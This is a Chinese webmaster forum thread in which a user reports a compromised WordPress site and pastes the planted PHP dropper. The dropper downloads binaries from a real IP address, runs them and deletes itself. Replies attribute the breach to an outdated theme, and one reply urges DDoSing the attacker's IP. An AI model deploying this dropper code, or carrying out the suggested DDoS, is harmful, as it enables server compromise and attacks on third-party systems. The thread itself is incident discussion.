网站被挂马了

Laoliu 大佬有话说 :

本帖最后由 Laoliu 于 2020-2-28 12:19 编辑

https://i.loli.net/2020/02/28/xY2FVpoJHSb7Rga.png

exec("pkill -9 -f stealth");
exec("pkill -f -9 stealth");
$respon = exec("getconf LONG_BIT");
if($respon == 64){
get("http://51.15.13.32/maer/U9NuJsI6U5IX7","U9NuJsI6U5IX7");
$reslute=exec("chmod +x U9NuJsI6U5IX7 && ./U9NuJsI6U5IX7");
if(strstr($reslute,"Unable to run")){
get("http://51.15.13.32/maer/new3","new3");
system("chmod +x new3 && ./new3");
}else{
echo $reslute;
}
}else{
get("http://51.15.13.32/maer/U9NuJsI6U5IX7","U9NuJsI6U5IX7");
system("chmod +x U9NuJsI6U5IX7 && ./U9NuJsI6U5IX7");
}

unlink("./s3.php");

hasamol7468 大佬有话说 :

本帖最后由 hasamol7468 于 2020-2-28 12:04 编辑

https://i.loli.net/2020/02/28/xY2FVpoJHSb7Rga.png
—
想表达什么呢，如果是你的站，建议杀杀毒

Laoliu 大佬有话说 :

https://i.loli.net/2020/02/28/xY2FVpoJHSb7Rga.png

Laoliu 大佬有话说 :

hasamol7468 大佬有话说 : 2020-2-28 12:03
—
想表达什么呢，如果是你的站，建议杀杀毒

这玩意功能挺全的哈

爱吃醋的醋醋 大佬有话说 :

wp是装了什么盗版的东西了吧，主题或者插件

Laoliu 大佬有话说 :

爱吃醋的醋醋大佬有话说 : 2020-2-28 12:11
wp是装了什么盗版的东西了吧，主题或者插件

正版主题

爱吃醋的醋醋 大佬有话说 :

Laoliu 大佬有话说 : 2020-2-28 12:18
正版主题

哈哈哈，扫毒吧，wp保持更新的话，一般没那么容易被黑，基本问题都出在主题和插件

Laoliu 大佬有话说 :

爱吃醋的醋醋大佬有话说 : 2020-2-28 12:22
哈哈哈，扫毒吧，wp保持更新的话，一般没那么容易被黑，基本问题都出在主题和插件 …

看了下是主题版本老。，从主题入手的。

edear 大佬有话说 :

先把他的IP 51.15.13.32 DDCC死，让他害人